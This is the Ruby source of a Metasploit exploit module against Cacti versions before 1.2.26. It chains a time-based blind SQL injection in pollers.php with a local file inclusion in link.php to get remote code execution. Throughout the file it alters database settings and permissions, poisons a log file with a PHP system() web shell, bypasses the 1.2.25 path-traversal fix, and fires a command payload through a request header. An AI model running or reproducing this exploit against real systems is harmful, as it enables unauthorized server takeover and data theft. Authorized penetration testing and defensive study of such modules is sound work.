Cacti pollers.php SQL Injection / Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::SQLi  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
class CactiError < StandardError; end  
class CactiNotFoundError < CactiError; end  
class CactiVersionNotFoundError < CactiError; end  
class CactiNoAccessError < CactiError; end  
class CactiCsrfNotFoundError < CactiError; end  
class CactiLoginError < CactiError; end  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Cacti RCE via SQLi in pollers.php',  
'Description' => %q{  
This exploit module leverages a SQLi (CVE-2023-49085) and a LFI  
(CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to  
achieve RCE. Authentication is needed and the account must have access  
to the vulnerable PHP script (`pollers.php`). This is granted by  
setting the `Sites/Devices/Data` permission in the `General  
Administration` section.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Aleksey Solovev', # Initial research and discovery  
'Christophe De La Fuente' # Metasploit module  
],  
'References' => [  
[ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-vr3c-38wh-g855'], # SQLi  
[ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-pfh9-gwm6-86vp'], # LFI (RCE)  
[ 'CVE', '2023-49085'], # SQLi  
[ 'CVE', '2023-49084'] # LFI (RCE)  
],  
'Platform' => ['unix linux win'],  
'Privileged' => false,  
'Arch' => ARCH_CMD,  
'Targets' => [  
[  
'Linux Command',  
{  
'Arch' => ARCH_CMD,  
'Platform' => [ 'unix', 'linux' ]  
}  
],  
[  
'Windows Command',  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'win'  
}  
]  
],  
'DefaultOptions' => {  
'SqliDelay' => 3  
},  
'DisclosureDate' => '2023-12-20',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),  
OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),  
OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti'])  
]  
)  
end  
  
def sqli  
@sqli ||= create_sqli(dbms: SQLi::MySQLi::TimeBasedBlind) do |sqli_payload|  
sqli_final_payload = '"'  
sqli_final_payload << ';select ' unless sqli_payload.start_with?(';') || sqli_payload.start_with?(' and')  
sqli_final_payload << "#{sqli_payload};select * from poller where 1=1 and '%'=\""  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'pollers.php'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'__csrf_magic' => @csrf_token,  
'name' => 'Main Poller',  
'hostname' => 'localhost',  
'timezone' => '',  
'notes' => '',  
'processes' => '1',  
'threads' => '1',  
'id' => '2',  
'save_component_poller' => '1',  
'action' => 'save',  
'dbhost' => sqli_final_payload  
},  
'vars_get' => {  
'header' => 'false'  
}  
)  
end  
end  
  
def get_version(html)  
# This will return an empty string if there is no match  
version_str = html.xpath('//div[@class="versionInfo"]').text  
unless version_str.include?('The Cacti Group')  
raise CactiNotFoundError, 'The web server is not running Cacti'  
end  
unless version_str.match(/Version (?<version>\d{1,2}\.\d{1,2}.\d{1,2})/)  
raise CactiVersionNotFoundError, 'Could not detect the version'  
end  
  
Regexp.last_match[:version]  
end  
  
def get_csrf_token(html)  
html.xpath('//form/input[@name="__csrf_magic"]/@value').text  
end  
  
def do_login  
if @csrf_token.blank? || @cacti_version.blank?  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
if res.nil?  
raise CactiNoAccessError, 'Could not access `index.php` - no response'  
end  
  
html = res.get_html_document  
if @csrf_token.blank?  
print_status('Getting the CSRF token to login')  
@csrf_token = get_csrf_token(html)  
if @csrf_token.empty?  
# raise an error since without the CSRF token, we cannot login  
raise CactiCsrfNotFoundError, 'Cannot get the CSRF token'  
else  
vprint_good("CSRF token: #{@csrf_token}")  
end  
end  
  
if @cacti_version.blank?  
print_status('Getting the version')  
begin  
@cacti_version = get_version(html)  
vprint_good("Version: #{@cacti_version}")  
rescue CactiError => e  
# We can still log in without the version  
print_bad("Could not get the version, the exploit might fail: #{e}")  
end  
end  
end  
  
print_status("Attempting login with user `#{datastore['USERNAME']}` and password `#{datastore['PASSWORD']}`")  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'__csrf_magic' => @csrf_token,  
'action' => 'login',  
'login_username' => datastore['USERNAME'],  
'login_password' => datastore['PASSWORD']  
}  
)  
raise CactiNoAccessError, 'Could not login - no response' if res.nil?  
raise CactiLoginError, "Login failure - unexpected HTTP response code: #{res.code}" unless res.code == 302  
  
print_good('Logged in')  
end  
  
def check  
# Step 1 - Check if the target is Cacti and get the version  
print_status('Checking Cacti version')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'method' => 'GET',  
'keep_cookies' => true  
)  
return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?  
  
html = res.get_html_document  
begin  
@cacti_version = get_version(html)  
version_msg = "The web server is running Cacti version #{@cacti_version}"  
rescue CactiNotFoundError => e  
return CheckCode::Safe(e.message)  
rescue CactiVersionNotFoundError => e  
return CheckCode::Unknown(e.message)  
end  
  
if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.26')  
print_good(version_msg)  
else  
return CheckCode::Safe(version_msg)  
end  
  
# Step 2 - Login  
@csrf_token = get_csrf_token(html)  
return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?  
  
begin  
do_login  
rescue CactiError => e  
return CheckCode::Unknown("Login failed: #{e}")  
end  
  
@logged_in = true  
  
# Step 3 - Check if the user has enough permissions to reach `pollers.php`  
print_status('Checking permissions to access `pollers.php`')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'pollers.php'),  
'method' => 'GET',  
'keep_cookies' => true,  
'headers' => {  
'X-Requested-With' => 'XMLHttpRequest'  
}  
)  
return CheckCode::Unknown('Could not access `pollers.php` - no response') if res.nil?  
return CheckCode::Safe('Could not access `pollers.php` - insufficient permissions') if res.code == 401  
return CheckCode::Unknown("Could not access `pollers.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200  
  
# Step 4 - Check if it is vulnerable to SQLi  
print_status('Attempting SQLi to check if the target is vulnerable')  
return CheckCode::Safe('Blind SQL injection test failed') unless sqli.test_vulnerable  
  
CheckCode::Vulnerable  
end  
  
def get_ext_link_id  
# Get an unused External Link ID with a time-based SQLi  
@ext_link_id = rand(1000..9999)  
loop do  
_res, elapsed_time = Rex::Stopwatch.elapsed_time do  
sqli.raw_run_sql("if(id,sleep(#{datastore['SqliDelay']}),null) from external_links where id=#{@ext_link_id}")  
end  
break if elapsed_time < datastore['SqliDelay']  
  
@ext_link_id = rand(1000..9999)  
end  
vprint_good("Got external link ID #{@ext_link_id}")  
end  
  
def exploit  
# `#do_login` will take care of populating `@csrf_token` and `@cacti_version`  
unless @logged_in  
begin  
do_login  
rescue CactiError => e  
fail_with(Failure::NoAccess, "Login failure: #{e}")  
end  
end  
  
@log_file_path = "log/cacti#{rand(1..999)}.log"  
print_status("Backing up the current log file path and adding a new path (#{@log_file_path}) to the `settings` table")  
@log_setting_name_bak = '_path_cactilog'  
sqli.raw_run_sql(";update settings set name='#{@log_setting_name_bak}' where name='path_cactilog'")  
@do_settings_cleanup = true  
sqli.raw_run_sql(";insert into settings (name,value) values ('path_cactilog','#{@log_file_path}')")  
register_file_for_cleanup(@log_file_path)  
  
print_status("Inserting the log file path `#{@log_file_path}` to the external links table")  
log_file_path_lfi = "../../#{@log_file_path}"  
# Some specific path tarversal needs to be prepended to bypass the v1.2.25 fix in `link.php` (line 79):  
# $file = $config['base_path'] . "/include/content/" . str_replace('../', '', $page['contentfile']);  
log_file_path_lfi = "....//....//#{@log_file_path}" if @cacti_version && Rex::Version.new(@cacti_version) == Rex::Version.new('1.2.25')  
get_ext_link_id  
sqli.raw_run_sql(";insert into external_links (id,sortorder,enabled,contentfile,title,style) values (#{@ext_link_id},2,'on','#{log_file_path_lfi}','Log-#{rand_text_numeric(3..5)}','CONSOLE')")  
@do_ext_link_cleanup = true  
  
print_status('Getting the user ID and setting permissions (it might take a few minutes)')  
user_id = sqli.run_sql("select id from user_auth where username='#{datastore['USERNAME']}'")  
fail_with(Failure::NotFound, 'User ID not found') unless user_id =~ (/\A\d+\Z/)  
sqli.raw_run_sql(";insert into user_auth_realm (realm_id,user_id) values (#{10000 + @ext_link_id},#{user_id})")  
@do_perms_cleanup = true  
  
print_status('Logging in again to apply new settings and permissions')  
# Keep a copy of the cookie_jar and the CSRF token to be used later by the cleanup routine and remove all cookies to login again.  
# This is required since this new session will block after triggering the payload and we won't be able to reuse it to cleanup.  
cookie_jar_bak = cookie_jar.clone  
cookie_jar.clear  
csrf_token_bak = @csrf_token  
# Setting `@csrf_token` to nil will force `#do_login` to get a fresh CSRF token  
@csrf_token = nil  
begin  
do_login  
rescue CactiError => e  
fail_with(Failure::NoAccess, "Login failure: #{e}")  
end  
  
print_status('Poisoning the log')  
header_name = rand_text_alpha(1).upcase  
sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\\'HTTP_#{header_name}\\']);?>',CHAR(126)),null)")  
  
print_status('Triggering the payload')  
# Expecting no response  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'link.php'),  
'method' => 'GET',  
'keep_cookies' => true,  
'headers' => {  
header_name => payload.encoded  
},  
'vars_get' => {  
'id' => @ext_link_id,  
'headercontent' => 'true'  
}  
}, 0)  
  
# Restore the cookie_jar and the CSRF token to run cleanup without being blocked  
cookie_jar.clear  
self.cookie_jar = cookie_jar_bak  
@csrf_token = csrf_token_bak  
end  
  
def cleanup  
super  
  
if @do_ext_link_cleanup  
print_status('Cleaning up external link using SQLi')  
sqli.raw_run_sql(";delete from external_links where id=#{@ext_link_id}")  
end  
  
if @do_perms_cleanup  
print_status('Cleaning up permissions using SQLi')  
sqli.raw_run_sql(";delete from user_auth_realm where realm_id=#{10000 + @ext_link_id}")  
end  
  
if @do_settings_cleanup  
print_status('Cleaning up the log path in `settings` table using SQLi')  
sqli.raw_run_sql(";delete from settings where name='path_cactilog' and value='#{@log_file_path}'")  
sqli.raw_run_sql(";update settings set name='path_cactilog' where name='#{@log_setting_name_bak}'")  
end  
end  
end  
`